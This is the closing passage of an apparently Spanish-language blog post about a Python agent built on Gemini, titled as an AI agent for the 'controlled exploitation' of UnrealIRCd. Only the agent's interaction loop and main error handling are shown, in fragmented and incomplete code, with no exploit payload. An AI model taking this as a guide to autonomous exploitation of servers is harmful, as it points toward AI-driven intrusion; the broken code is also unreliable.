# DEVOLVER RESULTADO A GEMINI

# ------------------------------------------------

interaction = client.interactions.create(

model="gemini-3.6-flash",

previous_interaction_id=

interaction.id,

input=[

function_result

tools=tools,

system_instruction=

SYSTEM_PROMPT

)

# ------------------------------------------------

# IMPORTANTE:

# SOLO PROCESAMOS UNA NUEVA INTERACCIÓN

# POR CADA LLAMADA

# ------------------------------------------------

break

# ============================================================

# MAIN

# ============================================================

if __name__ == "__main__":

try:

ejecutar_agente()

except KeyboardInterrupt:

print()

print(

"⛔ Ejecución interrumpida."

)

except Exception as e:

print()

print(

"❌ ERROR:"

)

print(

)

Agente IA con Gemini para la explotación controlada de UnrealIRCd (Seguridad, Python, Inteligencia artificial)

LIBRO DE POWERSHELL

LO ÚLTIMO

RECOMENDADO